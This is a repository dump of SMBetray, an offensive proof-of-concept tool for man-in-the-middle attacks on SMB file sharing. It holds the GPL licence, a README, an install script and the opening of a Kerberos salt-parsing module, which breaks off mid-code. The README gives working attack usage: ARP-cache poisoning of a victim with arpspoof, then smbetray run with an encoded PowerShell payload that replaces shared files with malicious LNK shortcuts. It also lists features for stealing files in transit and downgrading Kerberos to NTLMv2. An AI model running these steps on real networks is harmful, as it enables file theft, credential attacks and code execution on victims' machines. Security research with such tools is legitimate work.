├── LICENSE ├── README.md ├── install.sh ├── lib ├── K2TKerb.py ├── SMB1_Lib.py ├── SMB2_Lib.py ├── SMB_Core.py ├── __init__.py ├── bcolors.py └── ebcLib.py ├── requirements.txt └── smbetray.py /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SMBetray 2 | Version 1.0.0. This tool is a PoC to demonstrate the ability of an attacker to intercept and modify insecure SMB connections, as well as compromise some secured SMB connections if credentials are known. 3 | 4 | # Background 5 | Released at Defcon26 at "SMBetray - Backdooring and Breaking Signatures" 6 | 7 | In SMB connections, the security mechanisms protecting the integrity of the data passed between the server and the client are SMB signing and encryption. The signatures in on SMB packets when SMB signing is used are based on keys derived from information sent over the net in cleartext during the authentication phase, as well the user's password. If the password of the user is known, an attacker can re-create the SessionBaseKey and all other SMB keys and leverage them to modify SMB packets and re-sign them so that they are treated as valid and legitimate packets by the server and client. Additionally, signing is disabled by default on most everything except for domain controllers, so the need to break the signatures is rare. 8 | 9 | This goal of this tool is to switch the aim of MiTM on SMB from attacking the server through relayed connections, to attacking the client through malicious files and backdoored/replaced data when the oppertunity strikes. Finally, since encryption is rarely ever used, at the bare minimum this tool allows for the stealing of files passed in cleartext over the network - which can prove useful for system enumeration, or damaging if the data intercepted is sensitive in nature (PCI, PII, etc). 10 | 11 | More background info and demos can be found here https://blog.quickbreach.io/smbetray-backdooring-and-breaking-signatures/ 12 | 13 | # Installation 14 | Requires a system using iptables 15 | 16 | sudo bash install.sh 17 | 18 | # Usage 19 | First, run a bi-directional arp-cache poisoning attack between your victim, and their gateway or destination network shares, eg: 20 | 21 | sudo arpspoof -i -c both -t -r 22 | 23 | Then run smbetray with some attack modules 24 | 25 | sudo ./smbetray.py --passive ./StolenFilesFolder --lnkSwapAll "powershell -noP -sta -w 1 -enc AABCAD....(etc)" -I eth0 26 | 27 | # Demo 28 | A demo of the tool can be found here: https://blog.quickbreach.io/smbetray-backdooring-and-breaking-signatures/ 29 | 30 | # Features 31 | - Passively download any file sent over the wire in cleartext 32 | - Downgrade clients to NTLMv2 instead of Kerberos 33 | - Inject files into directories when view by a client 34 | - Replace all files with a LNK with the same name to execute a provided command upon clicking 35 | - Replace only executable files with a LNK with the same name to execute a provided command upon clicking 36 | - Replace files with extension X with the contents of the file with extension X in the local provided directory 37 | - Replace files with the case-insensitive name X with the contents of the file sharing hte same name in the provided directory 38 | 39 | 40 | # Notice: 41 | More information to come - currently the tool does not support SMBv1 only connections, which is not a problem 99% of the time. The code is ugly, but it has a great personality. 42 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | apt install libnetfilter-queue-dev libpcap0.8-dev python-nfqueue conntrack 3 | 4 | pip install -r requirements.txt 5 | -------------------------------------------------------------------------------- /lib/K2TKerb.py: -------------------------------------------------------------------------------- 1 | from SMB_Core import SMBKey 2 | from ebcLib import MiTMModule 3 | from binascii import hexlify, unhexlify 4 | import hashlib 5 | import traceback 6 | from pyasn1.codec.der import decoder, encoder 7 | from impacket.krb5.crypto import Key, _enctype_table 8 | from impacket.krb5.asn1 import * 9 | import logging 10 | import struct 11 | from pyasn1.error import PyAsn1Error 12 | import multiprocessing 13 | import copy 14 | 15 | class K2TKerb(MiTMModule): 16 | # 17 | def setup(self): 18 | 19 | self.CLT_MESSAGE_DATA = "" 20 | self.CLT_MESSAGE_LENGTH = 0 21 | self.CLT_INCOMPLETE_MESSAGE = False 22 | 23 | self.SRV_MESSAGE_DATA = "" 24 | self.SRV_MESSAGE_LENGTH = 0 25 | self.SRV_INCOMPLETE_MESSAGE = False 26 | 27 | self.PREAUTH_ENCTYPES = dict() 28 | self.KERB_SESSION_KEYS = [] 29 | 30 | self.logger = logging.getLogger(__name__) 31 | self.logger.setLevel(logging.INFO) 32 | 33 | # Grabs the salts from the PREAUTH packet 34 | def parse_PreauthError(self, rawData): 35 | # self.info['kerbSessionSalts_Lock'].acquire() 36 | try: 37 | preauth = decoder.decode(rawData[4:], asn1Spec = KRB_ERROR())[0] 38 | methods = decoder.decode(preauth['e-data'], asn1Spec=METHOD_DATA())[0] 39 | salt = '' 40 | 41 | encryptionTypesData = dict() 42 | 43 | for method in methods: 44 | if method['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: 45 | etypes2 = decoder.decode(str(method['padata-value']), asn1Spec = ETYPE_INFO2())[0] 46 | for etype2 in etypes2: 47 | try: 48 | if etype2['salt'] is None or etype2['salt'].hasValue() is False: 49 | salt = '' 50 | else: 51 | salt = str(etype2['salt']) 52 | except PyAsn1Error, e: 53 | salt = 